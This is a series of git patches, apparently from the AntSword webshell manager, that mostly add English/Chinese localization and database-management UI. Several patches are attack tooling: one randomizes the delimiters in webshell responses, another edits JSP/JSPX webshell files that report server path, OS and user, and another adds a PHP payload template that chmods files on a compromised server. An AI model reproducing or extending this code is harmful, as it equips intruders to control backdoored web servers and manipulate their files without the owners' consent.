+ confirm: (name) => antSword.noxss(`Are you sure you want to delete database ${name} ?`), + success: 'Delete database successfully', + error: 'Failed to delete database', + }, + addtable: { + title: 'New Table', + add: 'New Column', + delete: 'Delete Column', + save: 'Save', + gridheader: "Name,Type,Length,Not Null,Key,Auto Increment", + delete_not_select: "Please select the row you want to delete first", + save_row_is_null: "The number of rows is empty", + cell_valid_error: (i,j)=>`Data format validation failed(row ${i+1}, col ${j+1})`, + confirmtitle: "New table name", + invalid_tablename: "Table names should not contain special symbols", + success: 'Create table successfully', + error: 'Failed to create table', + }, + edittable: { + title: "New table name", + invalid_tablename: "Table names should not contain special symbols", + success: 'Update table name successfully', + error: 'Failed to update table', + }, + deltable: { + title:'Delete Table', + confirm: (name) => antSword.noxss(`Are you sure you want to delete table ${name}?`), + success: 'Delete table successfully', + error: 'Failed to delete table', + }, + addcolumn: { + + }, + editcolumn: { + + }, + delcolumn: { + title:'Delete Column', + confirm: (name) => antSword.noxss(`Are you sure you want to delete column ${name}?`), + success: 'Delete column successfully', + error: 'Failed to delete column', } } }, diff --git a/source/language/zh.js b/source/language/zh.js index 670f140e..bfb021cd 100644 --- a/source/language/zh.js +++ b/source/language/zh.js @@ -363,7 +363,16 @@ module.exports = { menu: { add: '添加配置', del: '删除配置', - edit: '编辑配置' + edit: '编辑配置', + adddb: '新建数据库', + editdb: '编辑数据库', + deldb: '删除数据库', + addtable: '新建表', + edittable: '编辑表名', + deltable: '删除表', + addcolumn: '添加列', + editcolumn: '编辑列', + delcolumn: '删除列', } }, query: { @@ -383,6 +392,7 @@ module.exports = { noresult: '没有查询结果!' } }, + notsupport: '该功能暂不支持当前类型数据库', form: { title: '添加配置', toolbar: { @@ -403,6 +413,70 @@ module.exports = { confirm: '确定删除此配置吗?', success: '删除配置成功!', error: (err) => antSword.noxss(`删除配置失败!\n${err}`) + }, + adddb: { + title: '新建数据库', + dbname: '名称', + characterset: '字符集', + charactercollation: '字符集排序', + createbtn: '创建', + cancelbtn: '取消', + success: '创建数据库成功', + error: '创建数据库失败', + }, + editdb: { + title: '修改数据库', + dbname: '名称(只读)', + characterset: '字符集', + charactercollation: '字符集排序', + updatebtn: '修改', + cancelbtn: '取消', + success: '修改数据库成功', + error: '修改数据库失败', + }, + deldb: { + title: '删除数据库', + confirm: (name) => antSword.noxss(`确定要删除数据库 ${name} 吗?`), + success: '删除数据库成功', + error: '删除数据库失败', + }, + addtable: { + title: '新建表', + add: '新增字段', + delete: '删除字段', + save: '保存', + gridheader: "名称,类型,长度,不为空,主键,自增长", + delete_not_select: "请先选中要删除的行", + save_row_is_null: "行数为空", + cell_valid_error: (i,j)=>`数据格式校验失败(${i+1}行,${j+1}列)`, + confirmtitle: "输入新表名", + invalid_tablename: "表名不能带有特殊符号", + success: '新建表成功', + error: '新建表失败', + }, + edittable: { + title: "输入新表名", + invalid_tablename: "表名不能带有特殊符号", + success: '修改表名成功', + error: '修改表名失败', + }, + deltable: { + title:'删除表', + confirm: (name) => antSword.noxss(`确定要删除表 ${name} 吗?`), + success: '删除表成功', + error: '删除表失败', + }, + addcolumn: { + + }, + editcolumn: { + + }, + delcolumn: { + title:'删除列', + confirm: (name) => antSword.noxss(`确定要删除列 ${name} 吗?`), + success: '删除列成功', + error: '删除列失败', } } }, diff --git a/source/modules/database/php/index.js b/source/modules/database/php/index.js index d6cfbee3..4ebd9567 100644 --- a/source/modules/database/php/index.js +++ b/source/modules/database/php/index.js @@ -85,7 +85,7 @@ class PHP { this.tree.callEvent('onClick', [id]); bmenu([ { - text: "新建数据库", + text: LANG['list']['menu']['adddb'], icon: 'fa fa-plus-circle', action: this.addDatabase.bind(this) }, @@ -112,24 +112,24 @@ class PHP { this.tree.callEvent('onClick', [id]); bmenu([ { - text: "新建表", + text: LANG['list']['menu']['addtable'], icon: 'fa fa-plus-circle', action: this.addTable.bind(this) }, { - text: "新建数据库", + text: LANG['list']['menu']['adddb'], icon: 'fa fa-plus-circle', action: this.addDatabase.bind(this) }, { divider: true }, { - text: "编辑数据库", + text: LANG['list']['menu']['editdb'], icon: 'fa fa-edit', action: this.editDatabase.bind(this) }, { divider: true }, { - text: "删除数据库", + text: LANG['list']['menu']['deldb'], icon: 'fa fa-remove', action: this.delDatabase.bind(this) } @@ -139,19 +139,19 @@ class PHP { this.tree.callEvent('onClick', [id]); bmenu([ { - text: "新建表", + text: LANG['list']['menu']['addtable'], icon: 'fa fa-plus-circle', action: this.addTable.bind(this) }, { divider: true }, { - text: "编辑表名", + text: LANG['list']['menu']['edittable'], icon: 'fa fa-edit', action: this.editTable.bind(this) }, { divider: true }, { - text: "删除表", + text: LANG['list']['menu']['deltable'], icon: 'fa fa-remove', action: this.delTable.bind(this) } @@ -161,11 +161,11 @@ class PHP { this.tree.callEvent('onClick', [id]); bmenu([ { - text: "编辑列", + text: LANG['list']['menu']['editcolumn'], icon: 'fa fa-edit', action: this.editColumn.bind(this) }, { - text: "删除列", + text: LANG['list']['menu']['delcolumn'], icon: 'fa fa-remove', action: this.delColumn.bind(this) }, @@ -556,7 +556,7 @@ class PHP { case "mysql": // 创建窗口 const win = this.manager.win.createWindow(hash, 0, 0, 450, 200); - win.setText("新建数据库"); + win.setText(LANG['form']['adddb']['title']); win.centerOnScreen(); win.button('minmax').hide(); win.setModal(true); @@ -565,8 +565,8 @@ class PHP { const form = win.attachForm([ { type: 'settings', position: 'label-left', labelWidth: 90, inputWidth: 250 }, { type: 'block', inputWidth: 'auto', offsetTop: 12, list: [ - { type: 'input', label: "名称", name: 'dbname', value: "", required: true, validate:"ValidAplhaNumeric",}, - { type: 'combo', label: '字符集', readonly:true, name: 'characterset', options: (() => { + { type: 'input', label: LANG['form']['adddb']['dbname'], name: 'dbname', value: "", required: true, validate:"ValidAplhaNumeric",}, + { type: 'combo', label: LANG['form']['adddb']['characterset'], readonly:true, name: 'characterset', options: (() => { let ret = []; Object.keys(this.mysqlcsMapping).map((_) => { ret.push({ @@ -576,7 +576,7 @@ class PHP { }) return ret; })() }, - { type: 'combo', label: '字符集排序', readonly:true, name: 'charactercollation', options: ((c)=>{ + { type: 'combo', label: LANG['form']['adddb']['charactercollation'], readonly:true, name: 'charactercollation', options: ((c)=>{ let ret = []; this.mysqlcsMapping[c].map((_)=>{ ret.push({ @@ -587,9 +587,9 @@ class PHP { return ret; })("default")}, { type: "block", name:"btnblock", className:"display: flex;flex-direction: row;align-items: right;",offsetLeft:150, list:[ - { type:"button" , name:"createbtn", value: ` 创建`}, + { type:"button" , name:"createbtn", value: ` ${LANG['form']['adddb']['createbtn']}`}, {type: 'newcolumn', offset:20}, - { type:"button" , name:"canclebtn", value: ` 取消`}, + { type:"button" , name:"cancelbtn", value: ` ${LANG['form']['adddb']['cancelbtn']}`}, ]} ]} ], true); @@ -631,25 +631,25 @@ class PHP { }; if(arr[1].indexOf("VHJ1ZQ==")!= -1){ // 操作成功 - toastr.success("创建数据库成功" ,LANG_T['success']); + toastr.success(LANG['form']['adddb']['success'] ,LANG_T['success']); win.close(); // refresh this.getDatabases(id); return } - toastr.error("创建数据库失败", LANG_T['error']); + toastr.error(LANG['form']['adddb']['error'], LANG_T['error']); return }); // 创建 break - case "canclebtn": + case "cancelbtn": win.close(); break; } }); break; default: - toastr.warning("该功能暂不支持该类型数据库", LANG_T['warning']); + toastr.warning(LANG['notsupport'], LANG_T['warning']); break; } } @@ -674,7 +674,7 @@ class PHP { let collation = result.datas[0][2] || "default" // 创建窗口 const win = this.manager.win.createWindow(hash, 0, 0, 450, 200); - win.setText("修改数据库"); + win.setText(LANG['form']['editdb']['title']); win.centerOnScreen(); win.button('minmax').hide(); win.setModal(true); @@ -683,8 +683,8 @@ class PHP { const form = win.attachForm([ { type: 'settings', position: 'label-left', labelWidth: 90, inputWidth: 250 }, { type: 'block', inputWidth: 'auto', offsetTop: 12, list: [ - { type: 'input', label: "名称", name: 'dbname', readonly: true, value: dbname, required: true, validate:"ValidAplhaNumeric",}, - { type: 'combo', label: '字符集', readonly:true, name: 'characterset', options: (() => { + { type: 'input', label: LANG['form']['editdb']['dbname'], name: 'dbname', readonly: true, value: dbname, required: true, validate:"ValidAplhaNumeric",}, + { type: 'combo', label: LANG['form']['editdb']['characterset'], readonly:true, name: 'characterset', options: (() => { let ret = []; Object.keys(this.mysqlcsMapping).map((_) => { ret.push({ @@ -694,7 +694,7 @@ class PHP { }) return ret; })() }, - { type: 'combo', label: '字符集排序', readonly:true, name: 'charactercollation', options: ((c)=>{ + { type: 'combo', label: LANG['form']['editdb']['charactercollation'], readonly:true, name: 'charactercollation', options: ((c)=>{ let ret = []; this.mysqlcsMapping[c].map((_)=>{ ret.push({ @@ -705,9 +705,9 @@ class PHP { return ret; })("default")}, { type: "block", name:"btnblock", className:"display: flex;flex-direction: row;align-items: right;",offsetLeft:150, list:[ - { type:"button" , name:"updatebtn", value: ` 修改`}, + { type:"button" , name:"updatebtn", value: ` ${LANG['form']['editdb']['updatebtn']}`}, {type: 'newcolumn', offset:20}, - { type:"button" , name:"canclebtn", value: ` 取消`}, + { type:"button" , name:"cancelbtn", value: ` ${LANG['form']['editdb']['cancelbtn']}`}, ]} ]} ], true); @@ -754,18 +754,18 @@ class PHP { }; if(arr[1].indexOf("VHJ1ZQ==")!= -1){ // 操作成功 - toastr.success("修改数据库成功" ,LANG_T['success']); + toastr.success(LANG['form']['editdb']['success'] ,LANG_T['success']); win.close(); // refresh this.getDatabases(id); return } - toastr.error("修改数据库失败", LANG_T['error']); + toastr.error(LANG['form']['editdb']['error'], LANG_T['error']); return }); // 修改 break - case "canclebtn": + case "cancelbtn": win.close(); break; } @@ -773,7 +773,7 @@ class PHP { }); break; default: - toastr.warning("该功能暂不支持该类型数据库", LANG_T['warning']); + toastr.warning(LANG['notsupport'], LANG_T['warning']); break; } } @@ -782,9 +782,9 @@ class PHP { // 获取配置 const id = this.tree.getSelected().split('::')[1].split(":")[0]; let dbname = new Buffer(this.tree.getSelected().split('::')[1].split(":")[1],"base64").toString(); - layer.confirm(`确定要删除数据库 ${dbname} 吗?`, { + layer.confirm(LANG['form']['deldb']['confirm'](dbname), { icon: 2, shift: 6, - title: "警告" + title: LANG['form']['deldb']['title'] }, (_) => { layer.close(_); switch(this.dbconf['type']){ @@ -798,15 +798,15 @@ class PHP { } let result = this.parseResult(res['text']); if(result.datas[0][0]=='True'){ - toastr.success("删除数据库成功",LANG_T['success']); + toastr.success(LANG['form']['deldb']['success'], LANG_T['success']); this.getDatabases(id); }else{ - toastr.error("删除数据库失败",LANG_T['error']); + toastr.error(LANG['form']['deldb']['error'], LANG_T['error']); } }); break; default: - toastr.warning("该功能暂不支持该类型数据库", LANG_T['warning']); + toastr.warning(LANG['notsupport'], LANG_T['warning']); break; } }); @@ -828,7 +828,7 @@ class PHP { // );`; // this.manager.query.editor.session.setValue(sql); const win = this.manager.win.createWindow(hash, 0, 0, 600, 400); - win.setText("新建表"); + win.setText(LANG['form']['addtable']['title']); win.centerOnScreen(); win.button('minmax').hide(); win.setModal(true); @@ -838,25 +838,26 @@ class PHP { id: 'add', type: 'button', icon: 'plus-circle', - text: '新增字段' + text: LANG['form']['addtable']['add'], }, { type: 'separator' }, { id: 'delete', type: 'button', icon: 'remove', - text: "删除字段" + text: LANG['form']['addtable']['delete'] },{ id: 'save', type: 'button', icon: 'save', - text: "保存" + text: LANG['form']['addtable']['save'] }]); dhtmlxValidation.hasOwnProperty("isValidPositiveInteger") ? "" : dhtmlxValidation.isValidPositiveInteger = (a) => { return !!a.toString().match(/(^\d+$)/);} const grid=win.attachGrid(); grid.clearAll(); - grid.setHeader("Name,Type,Length,Not Null,Key,Auto Increment"); + // Name,Type,Length,Not Null,Key,Auto Increment + grid.setHeader(LANG['form']['addtable']['gridheader']); grid.setInitWidths('*,100,80,80,50,130'); grid.setColTypes("ed,coro,edn,acheck,acheck,acheck"); grid.setColValidators(["ValidAplhaNumeric","NotEmpty","ValidPositiveInteger","ValidBoolean","ValidBoolean","ValidBoolean"]); @@ -907,7 +908,7 @@ class PHP { case "delete": var ncids = grid.getSelectedId(); if(!ncids){ - toastr.warning("请先选中要删除的行", LANG_T['warning']); + toastr.warning(LANG['form']['addtable']['delete_not_select'], LANG_T['warning']); return } let _ncids = ncids.split(","); @@ -918,7 +919,7 @@ class PHP { case "save": let rids = grid.getAllRowIds(); if(!rids){ - toastr.warning("行数为空", LANG_T['warning']); + toastr.warning(LANG['form']['addtable']['save_row_is_null'], LANG_T['warning']); return } @@ -929,7 +930,7 @@ class PHP { let cvalarr = []; for(var j=0; j<6;j++){ if(grid.validateCell(_rids[i], j) == false){ - toastr.error(`数据格式校验失败(${i+1}行,${j+1}列)`,LANG_T['error']); + toastr.error(LANG['form']['addtable']['cell_valid_error'](i,j), LANG_T['error']); grid.selectCell(_rids[i], j); grid.editCell(); return @@ -963,14 +964,18 @@ class PHP { } layer.prompt({ value: "", - title: ` 输入新表名` + title: ` ${LANG['form']['addtable']['confirmtitle']}` },(value, i, e) => { if(!value.match(/^[a-zA-Z0-9_]+$/)){ - toastr.error("表名不能带有特殊符号", LANG_T['error']); + toastr.error(LANG['form']['addtable']['invalid_tablename'], LANG_T['error']); return } layer.close(i); let pkres = pkstr.length > 0 ? `\tPRIMARY KEY ( ${pkstr.substr(0, pkstr.length-1)} )` : ""; + + if(pkres.length == 0) { + bdstr = bdstr.slice(0, bdstr.lastIndexOf(",")); + } let rsql = `CREATE TABLE IF NOT EXISTS \`${value}\` (\n${bdstr}\n${pkres}\n);`; this.manager.query.editor.session.setValue(rsql); this.execSQLAsync(rsql, (res, err) => { @@ -980,11 +985,11 @@ class PHP { } let result = this.parseResult(res['text']); if(result.datas[0][0]=='True'){ - toastr.success("新建表成功",LANG_T['success']); + toastr.success(LANG['form']['addtable']['success'],LANG_T['success']); this.getTables(id,dbname); win.close(); }else{ - toastr.error("新建表失败", LANG_T['error']); + toastr.error(LANG['form']['addtable']['error'], LANG_T['error']); } }); }); @@ -993,7 +998,7 @@ class PHP { }); break; default: - toastr.warning("该功能暂不支持该类型数据库", LANG_T['warning']); + toastr.warning(LANG['notsupport'], LANG_T['warning']); break; } } @@ -1008,10 +1013,10 @@ class PHP { // const hash = (+new Date * Math.random()).toString(16).substr(2, 8); layer.prompt({ value: tablename, - title: ` 输入新表名` + title: ` ${LANG['form']['edittable']['title']}` },(value, i, e) => { if(!value.match(/^[a-zA-Z0-9_]+$/)){ - toastr.error("表名不能带有特殊符号", LANG_T['error']); + toastr.error(LANG['form']['edittable']['invalid_tablename'], LANG_T['error']); return } layer.close(i); @@ -1026,15 +1031,15 @@ class PHP { } let result = this.parseResult(res['text']); if(result.datas[0][0]=='True'){ - toastr.success("修改表名成功",LANG_T['success']); + toastr.success(LANG['form']['edittable']['success'],LANG_T['success']); this.getTables(id,dbname); }else{ - toastr.error("修改表名失败",LANG_T['error']); + toastr.error(LANG['form']['edittable']['error'],LANG_T['error']); } }); break; default: - toastr.warning("该功能暂不支持该类型数据库", LANG_T['warning']); + toastr.warning(LANG['notsupport'], LANG_T['warning']); break; } }); @@ -1047,9 +1052,9 @@ class PHP { const id = treeselect.split('::')[1].split(":")[0]; let dbname = new Buffer(treeselect.split('::')[1].split(":")[1],"base64").toString(); let tablename = new Buffer(treeselect.split('::')[1].split(":")[2],"base64").toString(); - layer.confirm(`确定要删除表 ${tablename} 吗?`, { + layer.confirm(LANG['form']['deltable']['confirm'](tablename), { icon: 2, shift: 6, - title: "警告" + title: LANG['form']['deltable']['title'] }, (_) => { layer.close(_); switch(this.dbconf['type']){ @@ -1063,15 +1068,15 @@ class PHP { } let result = this.parseResult(res['text']); if(result.datas[0][0]=='True'){ - toastr.success("删除表成功",LANG_T['success']); + toastr.success(LANG['form']['deltable']['success'],LANG_T['success']); this.getTables(id,dbname); }else{ - toastr.error("删除表失败",LANG_T['error']); + toastr.error(LANG['form']['deltable']['error'],LANG_T['error']); } }); break; default: - toastr.warning("该功能暂不支持该类型数据库", LANG_T['warning']); + toastr.warning(LANG['notsupport'], LANG_T['warning']); break; } }); @@ -1105,9 +1110,9 @@ class PHP { let dbname = new Buffer(treeselect.split('::')[1].split(":")[1],"base64").toString(); let tablename = new Buffer(treeselect.split('::')[1].split(":")[2],"base64").toString(); let columnname = new Buffer(treeselect.split('::')[1].split(":")[3],"base64").toString(); - layer.confirm(`确定要删除列 ${columnname} 吗?`, { + layer.confirm(LANG['form']['delcolumn']['confirm'](columnname), { icon: 2, shift: 6, - title: "警告" + title: LANG['form']['delcolumn']['title'] }, (_) => { layer.close(_); switch(this.dbconf['type']){ @@ -1121,15 +1126,15 @@ class PHP { } let result = this.parseResult(res['text']); if(result.datas[0][0]=='True'){ - toastr.success("删除列成功",LANG_T['success']); + toastr.success(LANG['form']['delcolumn']['success'],LANG_T['success']); this.getColumns(id,dbname, tablename); }else{ - toastr.error("删除列失败",LANG_T['error']); + toastr.error(LANG['form']['delcolumn']['error'],LANG_T['error']); } }); break; default: - toastr.warning("该功能暂不支持该类型数据库", LANG_T['warning']); + toastr.warning(LANG['notsupport'], LANG_T['warning']); break; } }); From a83b3218e8768f87a425c9fda4e6155b65697f52 Mon Sep 17 00:00:00 2001 From: Medicean Date: Thu, 27 Sep 2018 14:47:53 +0800 Subject: [PATCH 06/21] =?UTF-8?q?=E6=95=B0=E6=8D=AE=E5=88=86=E5=89=B2?= =?UTF-8?q?=E7=AC=A6=E9=9A=8F=E6=9C=BA=E5=8C=96?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- source/core/asp/index.js | 4 ++-- source/core/aspx/index.js | 4 ++-- source/core/php/index.js | 5 +++-- 3 files changed, 7 insertions(+), 6 deletions(-) diff --git a/source/core/asp/index.js b/source/core/asp/index.js index 1326101f..1f375920 100644 --- a/source/core/asp/index.js +++ b/source/core/asp/index.js @@ -44,8 +44,8 @@ class ASP extends Base { */ complete(data) { // 分隔符号 - let tag_s = '->|'; - let tag_e = '|<-'; + let tag_s = Math.random().toString(16).substr(2, 5); // '->|'; + let tag_e = Math.random().toString(16).substr(2, 5); // '|<-'; // let formatter = new this.format(this.__opts__['encode']); let formatter = Base.prototype.format(this.__opts__['encode']); diff --git a/source/core/aspx/index.js b/source/core/aspx/index.js index 4a4f731a..03c1b2be 100644 --- a/source/core/aspx/index.js +++ b/source/core/aspx/index.js @@ -47,8 +47,8 @@ class ASPX extends Base { */ complete(data) { // 分隔符号 - let tag_s = '->|'; - let tag_e = '|<-'; + let tag_s = Math.random().toString(16).substr(2, 5); // '->|'; + let tag_e = Math.random().toString(16).substr(2, 5); // '|<-'; // let formatter = new this.format(this.__opts__['encode']); let formatter = Base.prototype.format(this.__opts__['encode']); diff --git a/source/core/php/index.js b/source/core/php/index.js index ed05fb17..c9548001 100644 --- a/source/core/php/index.js +++ b/source/core/php/index.js @@ -45,8 +45,9 @@ class PHP extends Base { */ complete(data) { // 分隔符号 - let tag_s = "->|"; - let tag_e = "|<-"; + + let tag_s = Math.random().toString(16).substr(2, 5); // "->|"; + let tag_e = Math.random().toString(16).substr(2, 5); // "|<-"; // 组合完整的代码 let tmpCode = data['_']; From f04c6f66d3d54aa27d1e6e6c6d93f4998b9afe29 Mon Sep 17 00:00:00 2001 From: Medicean Date: Thu, 27 Sep 2018 17:28:15 +0800 Subject: [PATCH 07/21] =?UTF-8?q?jsp=20shell=20=E5=9F=BA=E7=A1=80=E4=BF=A1?= =?UTF-8?q?=E6=81=AF=E8=B0=83=E6=95=B4?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- shells/jsp_custom_script_for_mysql.jsp | 5 ++--- shells/jspx_custom_script_for_mysql.jspx | 5 ++--- 2 files changed, 4 insertions(+), 6 deletions(-) diff --git a/shells/jsp_custom_script_for_mysql.jsp b/shells/jsp_custom_script_for_mysql.jsp index b2d28564..85354d93 100644 --- a/shells/jsp_custom_script_for_mysql.jsp +++ b/shells/jsp_custom_script_for_mysql.jsp @@ -111,8 +111,7 @@ ChangeLog: return ret; } - String WwwRootPathCode(HttpServletRequest r) throws Exception { - String d = this.getClass().getResource("/").getPath(); + String WwwRootPathCode(String d) throws Exception { String s = ""; if (!d.substring(0, 1).equals("/")) { File[] roots = File.listRoots(); @@ -286,7 +285,7 @@ ChangeLog: String serverInfo = (String)System.getProperty("os.name"); String separator = File.separator; String user = (String)System.getProperty("user.name"); - String driverlist = WwwRootPathCode(r); + String driverlist = WwwRootPathCode(d); return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user; } diff --git a/shells/jspx_custom_script_for_mysql.jspx b/shells/jspx_custom_script_for_mysql.jspx index c72c0d90..4ec7b899 100644 --- a/shells/jspx_custom_script_for_mysql.jspx +++ b/shells/jspx_custom_script_for_mysql.jspx @@ -103,8 +103,7 @@ Ver:1.3 return ret; } - String WwwRootPathCode(HttpServletRequest r) throws Exception { - String d = this.getClass().getResource("/").getPath(); + String WwwRootPathCode(String d) throws Exception { String s = ""; if (!d.substring(0, 1).equals("/")) { File[] roots = File.listRoots(); @@ -278,7 +277,7 @@ Ver:1.3 String serverInfo = (String)System.getProperty("os.name"); String separator = File.separator; String user = (String)System.getProperty("user.name"); - String driverlist = WwwRootPathCode(r); + String driverlist = WwwRootPathCode(d); return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user; } From 14f8a6388f1439694f044900408677fcea620f08 Mon Sep 17 00:00:00 2001 From: Medicean Date: Sat, 29 Sep 2018 16:16:32 +0800 Subject: [PATCH 08/21] FileManager Add File chmod(php) --- source/core/custom/template/filemanager.js | 2 +- source/core/php/template/filemanager.js | 7 ++++ source/language/en.js | 7 ++++ source/language/zh.js | 7 ++++ source/modules/filemanager/files.js | 3 ++ source/modules/filemanager/index.js | 39 +++++++++++++++++++++- 6 files changed, 63 insertions(+), 2 deletions(-) diff --git a/source/core/custom/template/filemanager.js b/source/core/custom/template/filemanager.js index 752f0435..ba1b6f7a 100644 --- a/source/core/custom/template/filemanager.js +++ b/source/core/custom/template/filemanager.js @@ -38,7 +38,7 @@ module.exports = () => ({ upload_file: { _: 'U', 'z1': '#{path}', - 'z2': '#{hex::content}' + 'z2': '#{buffer::content}' }, rename: { diff --git a/source/core/php/template/filemanager.js b/source/core/php/template/filemanager.js index 9304bb0d..7c5de3f8 100644 --- a/source/core/php/template/filemanager.js +++ b/source/core/php/template/filemanager.js @@ -62,6 +62,13 @@ module.exports = (arg1, arg2, arg3) => ({ [arg2]: "#{base64::time}" }, + chmod: { + _: + `$m=get_magic_quotes_gpc();$FN=base64_decode(m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]);$mode=base64_decode(m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]);echo(chmod($FN,octdec($mode))?"1":"0");`, + [arg1]: "#{base64::path}", + [arg2]: "#{base64::mode}" + }, + mkdir: { _: `$m=get_magic_quotes_gpc();$f=base64_decode($m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]);echo(mkdir($f)?"1":"0");`, diff --git a/source/language/en.js b/source/language/en.js index b62344ff..eac36229 100644 --- a/source/language/en.js +++ b/source/language/en.js @@ -219,6 +219,12 @@ module.exports = { success: (path) => antSword.noxss(`Retime file success!\n${path}`), error: (path, err) => antSword.noxss(`Retime file [${path}] failed!${err ? '\n' + err : ''}`) }, + chmod: { + title: 'Chmod File', + check: 'Input should be octal numbers, eg: 0644', + success: (path) => antSword.noxss(`Chmod file success!\n${path}`), + error: (path, err) => antSword.noxss(`Chmod file [${path}] failed!${err ? '\n' + err : ''}`) + }, wget: { title: 'Wget File', check: 'URL is not correct!', @@ -303,6 +309,7 @@ module.exports = { upload: 'Upload', download: 'Download', modify: 'Modify the file time', + chmod: 'Chmod', copy: { title: 'Copy', warning: (id) => antSword.noxss(`Already add to clipboard!\n${id}`), diff --git a/source/language/zh.js b/source/language/zh.js index bfb021cd..6422c7b9 100644 --- a/source/language/zh.js +++ b/source/language/zh.js @@ -220,6 +220,12 @@ module.exports = { success: (path) => antSword.noxss(`更改文件时间成功!\n${path}`), error: (path, err) => antSword.noxss(`更改文件时间 [${path}] 失败!${err ? '\n' + err : ''}`) }, + chmod: { + title: '更改权限', + check: "输入应为八进制数表示的权限, eg: 0644", + success: (path) => antSword.noxss(`更改文件权限成功!\n${path}`), + error: (path, err) => antSword.noxss(`更改文件权限 [${path}] 失败!${err ? '\n' + err : ''}`) + }, wget: { title: 'Wget下载文件', check: 'URL地址不正确!', @@ -304,6 +310,7 @@ module.exports = { upload: '上传文件', download: '下载文件', modify: '更改文件时间', + chmod: '更改权限', copy: { title: '复制文件', warning: (id) => antSword.noxss(`已经添加到剪贴板!\n${id}`), diff --git a/source/modules/filemanager/files.js b/source/modules/filemanager/files.js index 625c9709..3974faee 100644 --- a/source/modules/filemanager/files.js +++ b/source/modules/filemanager/files.js @@ -323,6 +323,9 @@ class Files { // manager.retimeFile(id, this.rowsAr[id]['cells'][2].innerText); manager.retimeFile(id, this.getRowAttribute(_ids[0], 'data')[2]); } }, + { text: LANG['grid']['contextmenu']['chmod'], icon: 'fa fa-users', disabled: !id || ids.length > 1, action: () => { + manager.chmodFile(id, this.getRowAttribute(_ids[0], 'data')[4]); + } }, { divider: true }, { text: LANG['grid']['contextmenu']['create']['title'], icon: 'fa fa-plus-circle', subMenu: [ { text: LANG['grid']['contextmenu']['create']['folder'], icon: 'fa fa-folder-o', action: manager.createFolder.bind(manager) }, diff --git a/source/modules/filemanager/index.js b/source/modules/filemanager/index.js index e352e5e4..e8330153 100644 --- a/source/modules/filemanager/index.js +++ b/source/modules/filemanager/index.js @@ -473,6 +473,43 @@ class FileManager { }) } + // 设置文件和目录权限 + chmodFile(name, oldmod) { + layer.prompt({ + value: oldmod, + title: ` ${LANG['chmod']['title']} (${antSword.noxss(name)})`, + }, (value, i, e) => { + if(!value.match(/^[0-7]{4}$/)){ + toastr.error(LANG['chmod']['check'], LANG_T['error']); + return + } + this.files.cell.progressOn(); + let path = this.path; + if (this.isWin) { + path = path.replace(/\//g, '\\') + } + // http request + this.core.request( + this.core.filemanager.chmod({ + path: path + name, + mode: value + }) + ).then((res) => { + let ret = res['text']; + this.files.cell.progressOff(); + if (ret === '1') { + this.files.refreshPath(); + toastr.success(LANG['chmod']['success'](name), LANG_T['success']); + }else{ + toastr.error(LANG['chmod']['error'](name, ret === '0' ? false : ret), LANG_T['error']); + } + }).catch((err) => { + toastr.error(LANG['chmod']['error'](name, err), LANG_T['error']); + }); + layer.close(i); + }); + } + // 预览文件(图片、视频) previewFile(name, size) { let that = this; @@ -490,7 +527,7 @@ class FileManager { let down_size = 0; this.core.download( savepath - ,this.core.filemanager.read_file({path: remote_path}) + ,this.core.filemanager.download_file({path: remote_path}) , (_size) => { down_size += _size; let down_progress = parseInt(parseFloat(down_size / size).toFixed(2) * 100); From 16649927c574311265cdc02efdd422c614cbafa4 Mon Sep 17 00:00:00 2001 From: Medicean Date: Sun, 25 Nov 2018 02:40:19 +0800 Subject: [PATCH 09/21] db(php mysql) add table support more column types --- source/modules/database/php/index.js | 24 ++++++++++++++---------- 1 file changed, 14 insertions(+), 10 deletions(-) diff --git a/source/modules/database/php/index.js b/source/modules/database/php/index.js index 4ebd9567..5e4377b9 100644 --- a/source/modules/database/php/index.js +++ b/source/modules/database/php/index.js @@ -195,7 +195,16 @@ class PHP { // ], event); // }; }); - + // mysql column type + // TODO: + // 1. column default value + // 2. character set + // 3. unsigned + this.mysqlcolumntypes = [ + "tinyint", "smallint", "mediumint", "int", "integer", "bigint", "float", "double", + "date", "time", "year", "datetime", "timestamp", + "char", "varchar", "tinytext", "blob", "text", "mediumblob", "mediumtext", "longblob", "longtext" + ]; // mysql character set mapping this.mysqlcsMapping = { 'default': ['default'], @@ -859,18 +868,13 @@ class PHP { // Name,Type,Length,Not Null,Key,Auto Increment grid.setHeader(LANG['form']['addtable']['gridheader']); grid.setInitWidths('*,100,80,80,50,130'); - grid.setColTypes("ed,coro,edn,acheck,acheck,acheck"); + grid.setColTypes("ed,co,edn,acheck,acheck,acheck"); grid.setColValidators(["ValidAplhaNumeric","NotEmpty","ValidPositiveInteger","ValidBoolean","ValidBoolean","ValidBoolean"]); grid.setEditable(true); - const combobox = grid.getCombo(1); - combobox.put("tinyint","tinyint"); - combobox.put("int","int"); - combobox.put("integer","integer"); - combobox.put("varchar","varchar"); - combobox.put("double","double"); - combobox.put("float","float"); - + this.mysqlcolumntypes.forEach(v => { + combobox.put(v, v); + }); grid.enableEditEvents(false,true,true); grid.enableEditTabOnly(true); grid.init(); From d8cad38405d6c8d100897e36622094f2d3aa0d2f Mon Sep 17 00:00:00 2001 From: Medicean Date: Sun, 25 Nov 2018 03:28:45 +0800 Subject: [PATCH 10/21] =?UTF-8?q?db(php=20mysql):=20=E8=B0=83=E6=95=B4?= =?UTF-8?q?=E8=BF=94=E5=9B=9E=E7=BB=93=E6=9E=9C=E9=9B=86=E9=95=BF=E5=BA=A6?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- source/modules/database/php/index.js | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/source/modules/database/php/index.js b/source/modules/database/php/index.js index 5e4377b9..79dfe445 100644 --- a/source/modules/database/php/index.js +++ b/source/modules/database/php/index.js @@ -1379,8 +1379,10 @@ class PHP { const grid = this.manager.result.layout.attachGrid(); grid.clearAll(); grid.setHeader(header_arr.join(',').replace(/,$/, '')); + grid.setColTypes("txt,".repeat(header_arr.length).replace(/,$/,'')); grid.setColSorting(('str,'.repeat(header_arr.length)).replace(/,$/, '')); - grid.setInitWidths('*'); + grid.setColumnMinWidth(100, header_arr.length-1); + 